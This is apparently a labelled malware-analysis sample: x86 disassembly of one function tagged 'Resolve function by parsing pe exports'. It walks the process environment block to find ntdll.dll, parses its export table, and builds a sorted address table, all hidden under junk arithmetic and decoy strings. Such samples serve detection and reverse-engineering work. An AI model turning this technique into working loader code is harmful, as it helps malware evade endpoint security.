Function at 0x10018c6a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xc8
push esi
push edi
push 0xb
pop ecx
xor edx, edx
mov dword [ebp - 0x64], 0x5f
push 2
mov dword [ebp - 0x60], 0xffffffc6
mov eax, edx
pop edi
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, edi
jl 0x10018c9f
mov dword [ebp - 0x44], 0x23
xorps xmm1, xmm1
mov dword [ebp - 0x40], 0x64
mov dword [ebp - 0x3c], 0x31
mov dword [ebp - 0x38], 0xffffff48
movups xmm0, xmmword [ebp - 0x44]
mov esi, dword [0x1002b040]
mov dword [ebp - 0x44], 0xe
psubd xmm1, xmm0
mov dword [ebp - 0x40], 0xd
movaps xmm0, xmm1
mov dword [ebp - 0x3c], edi
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x38], 0xffffff94
movups xmm2, xmmword [ebp - 0x44]
mov dword [ebp - 0x30], ecx
movups xmm0, xmm1
mov dword [ebp - 0x54], 8
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x50], 5
movaps xmm0, xmm2
movd dword [ebp - 0x2c], xmm1
psrldq xmm0, 8
paddd xmm2, xmm0
mov dword [ebp - 0x4c], 0xfffffffe
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd eax, xmm2
push 0xc
pop ecx
add eax, 0x4f
and esi, 0x69866dd6
mov dword [ebp - 4], eax
mov eax, edx
sub ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 3
jl 0x10018d53
push 0xc
mov dword [ebp - 0x34], ecx
mov eax, edx
pop ecx
mov dword [ebp - 0x64], 0x54
mov dword [ebp - 0x60], 0xffffffa0
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, edi
jl 0x10018d73
mov al, byte [str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog]
and esi, 0x257faf76
mov dword [ebp - 0x28], ecx
mov edi, edx
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
mov byte [ebp - 0x21], al
jmp 0x10018d9f
sub al, 0x30
cmp al, 9
ja 0x10018da5
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10018d96
jmp 0x10018dab
sub esi, 0x6e47de70
push 0x22
pop ecx
push 0xe
and esi, 0x8ab28b24
mov dword [ebp - 0x48], ecx
pop eax
or esi, 0xb28104
mov dword [ebp - 0x3c], eax
mov dword [0x1002b040], esi
mov eax, edx
mov dword [ebp - 0x44], 0x2f
mov dword [ebp - 0x40], 0x27
mov dword [ebp - 0x38], 0xffffff7a
sub edi, dword [ebp + eax*4 - 0x48]
inc eax
cmp eax, 5
jl 0x10018de0
mov dword [ebp - 0x5c], edi
mov eax, str.RegKey5HKCUSoftwarePaint.NETMRU4
mov dword [ebp - 0x20], 0x16
mov edi, edx
mov dword [ebp - 0x44], 0x2c
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], 0x15
mov dword [ebp - 0x38], 0xffffff87
push 0x52
mov edx, 0x1541
pop ecx
add edx, ecx
inc eax
cmp edx, 0x6ba
ja 0x10018e2f
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10018e1b
jmp 0x10018e3e
push ecx
push ecx
call fcn.100182d1
pop ecx
pop ecx
imul esi, esi, 0xe1b809e1
mov eax, dword [ebp - 0x20]
add esi, 0xed5ff661
add eax, dword [ebp + edi*4 - 0x44]
or esi, 0x6c6055cc
inc edi
mov dword [ebp - 0x20], eax
mov dword [0x1002b040], esi
mov eax, str.RegKey5HKCUSoftwarePaint.NETMRU4
cmp edi, 4
jl 0x10018e13
push 0x2b
xor edi, edi
mov dword [ebp - 0x54], 0x5c
pop ecx
mov dword [ebp - 0x50], 0x27
mov eax, edi
mov dword [ebp - 0x4c], 0xffffff52
add ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 3
jl 0x10018e81
mov al, byte [ebp - 0x21]
and esi, 0x1a377730
mov dword [ebp - 0x58], ecx
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
jmp 0x10018ea7
sub al, 0x30
cmp al, 9
ja 0x10018ead
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10018e9e
jmp 0x10018eb3
sub esi, 0x4cdbdf98
imul esi, esi, 0x4dc36e0b
push esi
push ecx
mov edx, esi
call fcn.10018965
pop ecx
pop ecx
push 0x1d
pop ecx
mov dword [ebp - 0x54], 0x3b
mov eax, edi
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x4c], 0xffffffa8
add ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 3
jl 0x10018ede
movzx eax, byte [str._installLocation_]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x80], 0xc
mov dword [ebp - 0x44], 0xb
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x3c], 0x35
mov dword [ebp - 0x38], 0xffffffc3
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], eax
push 0x52
mov edx, 0xb68
mov eax, str.RegKey5HKCUSoftwarePaint.NETMRU4
pop ecx
add edx, ecx
inc eax
cmp edx, 0x21fe
ja 0x10018f42
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10018f28
xor esi, 0xd9c72cf
jmp 0x10018f53
call fcn.1001826f
sub esi, 0x7c8233eb
and esi, 0x18f2b005
xor esi, 0x1fe237e8
push ecx
push esi
call fcn.10018191
pop ecx
pop ecx
mov ecx, dword [ebp - 8]
mov edx, 0x1a69
mov eax, str._installLocation_
jmp 0x10018f83
add edx, ecx
inc eax
cmp edx, 0x204e
ja 0x1001902c
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10018f71
xor esi, 0x14018d3e
add esi, 0x52a2dad1
call fcn.10018109
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x80]
sub ecx, dword [ebp + eax*4 - 0x44]
inc eax
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0xc], eax
cmp eax, 4
jl 0x10018f1b
mov dword [0x1002b040], esi
cmp dword [0x10029f00], edi
je 0x10019080
push 0xe
mov dword [ebp - 0x48], 0x3e
mov dword [ebp - 0x44], 0x2c
mov dword [ebp - 0x40], 0x4a
mov dword [ebp - 0x3c], 0x1f
mov dword [ebp - 0x38], 0xffffff3a
pop eax
sub eax, dword [ebp + edi*4 - 0x48]
inc edi
cmp edi, 5
jl 0x10018fea
mov dword [ebp - 0x68], eax
sub esi, 0x289f12af
movzx eax, byte [str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog]
mov ecx, 0x1b5a
test eax, eax
je 0x10019051
mov edx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
add ecx, eax
inc edx
cmp ecx, 0xb33
ja 0x10019042
movzx eax, byte [edx]
test eax, eax
jne 0x10019012
add esi, 0xddab848e
jmp 0x10019057
call fcn.10017f00
and esi, 0x96a8a868
add esi, 0x7a0469a7
jmp 0x10018f8d
push esi
mov edx, esi
call fcn.100187df
pop ecx
sub esi, 0x39e628b4
add esi, 0xc24e489d
push ecx
xor esi, 0x8d51aaba
push ecx
mov dword [0x1002b040], esi
call fcn.100182d1
mov eax, dword [ebp - 0x68]
and esi, 0xc9dd2c94
pop ecx
pop ecx
mov dword [0x1002b040], esi
jmp 0x100197db
mov eax, dword [ebp - 0x30]
mov ecx, str.rsa_pss_keygen_mgf1_md
mov eax, dword fs:[eax]
mov esi, dword [eax + 0xc]
mov al, byte [str.rsa_pss_keygen_mgf1_md]
jmp 0x1001909e
sub al, 0x30
cmp al, 9
ja 0x100190de
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10019095
mov edx, dword [0x1002b040]
or edx, 0x6e4e29a5
push ecx
mov ecx, edx
call fcn.10018246
pop ecx
push 0x52
add edx, 0x5433aa26
mov ecx, 0xf0e
pop eax
mov edi, str.RegKey5HKCUSoftwarePaint.NETMRU4
add ecx, eax
inc edi
cmp ecx, 0x25d8
ja 0x100190ec
movsx eax, byte [edi]
test eax, eax
jne 0x100190ca
jmp 0x100190f2
mov edx, dword [0x1002b040]
and edx, 0xfd47964c
jmp 0x100190a8
and edx, 0x275dc865
mov ecx, dword [ebp - 0x28]
or edx, 0x3f777e21
imul eax, edx, 0x780c69a8
mov edi, 0xd3d56f35
sub edi, eax
mov eax, dword [ebp - 0x34]
mov dword [0x1002b040], edi
mov eax, dword [esi + eax*4 + 8]
xor esi, esi
mov dword [ebp - 8], eax
cmp dword [eax + 0x18], ecx
je 0x1001929c
mov dword [ebp - 0x64], 0x5b
mov dword [ebp - 0x60], 0xffffff84
mov dword [ebp - 0xa0], 0xa
mov dword [ebp - 0x9c], 0x47
mov dword [ebp - 0x98], 0xffffff69
push 0x21
pop ecx
mov eax, esi
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, 2
jl 0x10019154
mov dword [ebp - 0x34], ecx
mov eax, esi
mov ecx, esi
mov dword [ebp - 0x7c], 3
mov dword [ebp - 0x78], 0x60
mov dword [ebp - 0x74], 0x3e
mov dword [ebp - 0x70], 0x16
mov dword [ebp - 0x6c], 0xffffff49
sub ecx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x10019188
mov al, byte [str._installLocation_]
mov dword [ebp - 0x30], ecx
mov ecx, str._installLocation_
mov dword [ebp - 0xc], 0x4a
jmp 0x100191b1
sub al, 0x30
cmp al, 9
ja 0x100191b7
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100191a8
jmp 0x100191bd
sub edi, 0xf7ab724
imul edi, edi, 0x4e849bdf
mov ecx, edi
call fcn.10017dd8
mov edx, dword [ebp - 0xc]
and edi, 0x280a0342
or edi, 0x50a0302c
mov eax, esi
add edx, dword [ebp + eax*4 - 0xa0]
inc eax
cmp eax, 3
jl 0x100191db
mov eax, dword [ebp - 8]
and edi, 0xda9817c4
imul edi, edi, 0x62f7548e
mov dword [ebp - 0xc], edx
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, esi
cmp byte [str._installLocation_], al
je 0x10019232
inc eax
cmp eax, 0x24a8
jl 0x1001921d
cmp byte [eax + str._installLocation_], 0
jne 0x1001920a
jmp 0x1001922a
imul edi, edi, 0x42a555d2
cmp eax, 0x21ab
jle 0x10019232
call fcn.1001869c
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
xor edi, 0xc571041
mov ecx, dword [ebp - 0x34]
or edi, 0xb32865ac
mov eax, dword [eax + 0x3c]
lea eax, [eax + ecx*8]
mov ecx, dword [ebp - 4]
mov eax, dword [eax + ecx + 0x78]
cmp eax, dword [ebp - 0x30]
je 0x1001927e
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebp - 4]
mov eax, dword [ecx]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x1001927e
mov eax, dword [ecx + edx]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x10019296
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x5c]
mov edx, dword [edx + eax*4]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], edx
cmp dword [edx + 0x18], eax
jne 0x1001914f
mov dword [0x1002b040], edi
mov edx, dword [ebp - 0x2c]
test edx, edx
jne 0x100192ca
push 0x58
pop eax
mov dword [ebp - 0x54], 0x26
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x4c], 0xffffff3e
add eax, dword [ebp + esi*4 - 0x54]
inc esi
cmp esi, 3
jl 0x100192bb
jmp 0x100197db
mov eax, dword [edx + 0x18]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x1c]
add eax, ecx
mov dword [0x1002b778], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 0x20]
add eax, ecx
mov dword [ebp - 0xac], 7
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 0x24]
add eax, ecx
mov dword [ebp - 0xa8], 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xa4], 0xffffffe3
push 0xb
pop ecx
mov dword [ebp - 8], ecx
xor esi, esi
mov al, byte [str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog]
and edi, 0x94fa5a85
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
jmp 0x10019332
sub al, 0x30
cmp al, 9
ja 0x10019338
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10019329
jmp 0x1001933e
sub edi, 0x677803e9
sub edi, 0x1955ddb5
call fcn.1001869c
mov edx, dword [ebp - 8]
add edx, dword [ebp + esi*4 - 0xac]
inc esi
mov dword [ebp - 8], edx
cmp esi, 3
jl 0x10019317
push 0x64
mov edx, 0x183f
mov eax, str.d2i_ECParameters
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1a93
ja 0x10019385
movzx ecx, word [eax]
test ecx, ecx
jne 0x10019369
or edi, 0x85e4e6e8
jmp 0x10019394
push ecx
mov ecx, edi
call fcn.10018246
pop ecx
add edi, 0xed699af3
push ecx
add edi, 0x6f0f0f86
push ecx
mov dword [0x1002b040], edi
call fcn.100182d1
mov eax, dword [ebp - 0xc]
mov esi, edi
sub eax, dword [ebp - 8]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ecx + eax*4]
mov ecx, 0x775a
add eax, dword [ebp - 4]
mov dword [ebp - 0x34], eax
cmp word [eax], cx
jne 0x10019476
push 0xd
xor ecx, ecx
mov dword [ebp - 0x7c], 0x1d
pop edx
mov dword [ebp - 0x78], 0x11
mov eax, ecx
mov dword [ebp - 0x74], 0x23
mov dword [ebp - 0x70], 0x3a
mov dword [ebp - 0x6c], 0xffffff81
sub edx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x100193f5
mov dword [ebp - 0x30], edx
mov eax, ecx
mov edx, 0x1130
mov dword [ebp - 0x8c], 8
mov dword [ebp - 0x88], 0x3b
mov dword [ebp - 0x84], 0xec7
sub edx, dword [ebp + eax*4 - 0x8c]
inc eax
cmp eax, 3
jl 0x10019427
mov ecx, dword [ebp - 0x34]
add edi, 0xa799faee
mov dword [ebp - 8], edx
mov esi, edi
call fcn.10018a90
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2c]
mov dword [edx*8 + 0x10029f04], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x30]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ecx + eax*4]
mov dword [edx*8 + 0x10029f08], eax
inc edx
mov dword [ebp - 0x20], edx
cmp edx, dword [ebp - 8]
je 0x10019483
jmp 0x10019479
mov edx, dword [ebp - 0x20]
sub dword [ebp - 0xc], 1
jne 0x1001930f
mov eax, edx
mov dword [0x10029f00], edx
sub eax, dword [ebp - 0x68]
or esi, 0xb913e7f3
mov dword [0x1002b040], esi
cmp dword [ebp - 0x58], eax
jae 0x100197d8
xor edi, edi
mov al, byte [str.rsa_pss_keygen_mgf1_md]
mov ecx, str.rsa_pss_keygen_mgf1_md
jmp 0x100194ba
sub al, 0x30
cmp al, 9
ja 0x100194c0
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100194b1
jmp 0x100194c6
imul esi, esi, 0x80ece8c9
and esi, 0x7d3cf13e
mov ecx, str._installLocation_
push str.sliderRange
mov edx, esi
call fcn.10017e2d
pop ecx
push 0x64
and esi, 0xa3b37ece
mov edx, 0x2259
mov eax, str.d2i_ECParameters
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x148e
ja 0x10019507
movzx ecx, word [eax]
test ecx, ecx
jne 0x100194f1
jmp 0x10019512
call fcn.10017aba
xor esi, 0x39ed5719
or esi, 0xfb93fffb
mov dword [ebp - 0x7c], 0x41
add esi, 0x35ca0de4
mov dword [ebp - 0x78], 0x5d
mov eax, edi
mov dword [ebp - 0x74], 0xd
mov dword [ebp - 0x70], 0x30
mov edx, eax
mov dword [ebp - 0x6c], 0xffffff25
mov dword [0x1002b040], esi
sub edx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x1001954b
push 0xf
mov dword [ebp - 4], edx
mov eax, edi
pop ecx
mov dword [ebp - 0x94], 0x4f
mov dword [ebp - 0x90], 0x3c
mov dword [ebp - 0x8c], 0x16
mov dword [ebp - 0x88], 0x5f
mov dword [ebp - 0x84], 0xffffff0e
sub ecx, dword [ebp + eax*4 - 0x94]
inc eax
cmp eax, 5
jl 0x1001958f
mov eax, dword [ebp - 0x20]
sub eax, ecx
mov dword [ebp - 0x60], ecx
sub eax, dword [ebp - 0x58]
cmp edx, eax
jae 0x100197c3
mov dword [ebp - 0xb8], 0x4e
mov dword [ebp - 0xb4], 0x1b
mov dword [ebp - 0xb0], 0xffffff9e
push 8
pop ecx
mov eax, edi
sub ecx, dword [ebp + eax*4 - 0xb8]
inc eax
cmp eax, 3
jl 0x100195d2
mov eax, dword [edx*8 + 0x10029f08]
mov dword [ebp - 0xc], eax
lea eax, [ecx + edx]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [eax*8 + 0x10029f08]
jbe 0x100197ae
push 0xb
pop eax
mov ecx, eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], 0x21
mov eax, edi
mov dword [ebp - 0xbc], 0xffffffde
sub ecx, dword [ebp + eax*4 - 0xc4]
inc eax
cmp eax, 3
jl 0x1001961d
mov dword [ebp - 0x5c], ecx
movzx ecx, byte [str.rsa_pss_keygen_mgf1_md]
mov dword [ebp - 8], 0x48
mov dword [ebp - 0x50], 0x41
mov dword [ebp - 0x4c], 0xffffff78
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], ecx
mov edx, 0x20ba
mov eax, str.rsa_pss_keygen_mgf1_md
cmp dword [ebp - 0x28], edi
je 0x10019678
add edx, ecx
inc eax
cmp edx, 0x1b37
ja 0x10019672
movzx ecx, byte [eax]
test ecx, ecx
jne 0x1001965e
jmp 0x10019678
sub esi, 0x6de72255
imul esi, esi, 0xfb2b0155
and esi, 0xac935ca
mov dword [0x1002b040], esi
call fcn.10017aba
push 0x73
mov edx, 0x2298
mov eax, str.sliderRange
pop ecx
add edx, ecx
inc eax
cmp edx, 0xf61
ja 0x100196b0
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1001969c
jmp 0x100196bb
call fcn.10018302
xor esi, 0x45ae9c44
lea eax, [esi - 0x7a422a6a]
mov ecx, str.FileKey4_AppData_MicrosoftTeamsmedia_stack.blog
imul esi, eax, 0x33e457b8
mov edx, esi
mov dword [0x1002b040], esi
call fcn.10018479
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp + eax*4 - 0x50]
inc eax
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp eax, 2
jl 0x1001964f
push 0xe
pop ecx
mov dword [ebp - 0x7c], 4
mov eax, edi
mov dword [ebp - 0x78], 0x3f
mov dword [ebp - 0x74], 0x62
mov dword [ebp - 0x70], 0x45
mov dword [ebp - 0x6c], 0xffffff23
sub ecx, dword [ebp + eax*4 - 0x7c]
inc eax
cmp eax, 5
jl 0x1001971e
push 0xc
mov dword [ebp - 0x34], ecx
mov eax, edi
pop edx
mov dword [ebp - 0x40], 0x52
mov dword [ebp - 0x3c], 0x37
mov dword [ebp - 0x38], 0xffffff82
sub edx, dword [ebp + eax*4 - 0x40]
inc eax
cmp eax, 3
jl 0x10019745
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x10029f04]
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 4]
mov eax, dword [eax*8 + 0x10029f04]
mov dword [ecx*8 + 0x10029f04], eax
mov eax, ecx
add eax, dword [ebp - 8]
mov eax, dword [eax*8 + 0x10029f08]
mov dword [ecx*8 + 0x10029f08], eax
mov eax, dword [ebp - 0x34]
add eax, ecx
mov ecx, dword [ebp - 0x30]
mov dword [eax*8 + 0x10029f04], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
add eax, edx
mov edx, dword [ebp - 4]
mov dword [eax*8 + 0x10029f08], ecx
mov eax, dword [0x10029f00]
mov dword [ebp - 0x20], eax
jmp 0x100197b1
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x60]
inc edx
sub eax, dword [ebp - 0x58]
mov dword [ebp - 4], edx
cmp edx, eax
jb 0x100195cd
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x20]
inc eax
sub ecx, dword [ebp - 0x68]
mov dword [ebp - 0x58], eax
cmp eax, ecx
jb 0x100194a5
mov eax, dword [ebp - 0x80]
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret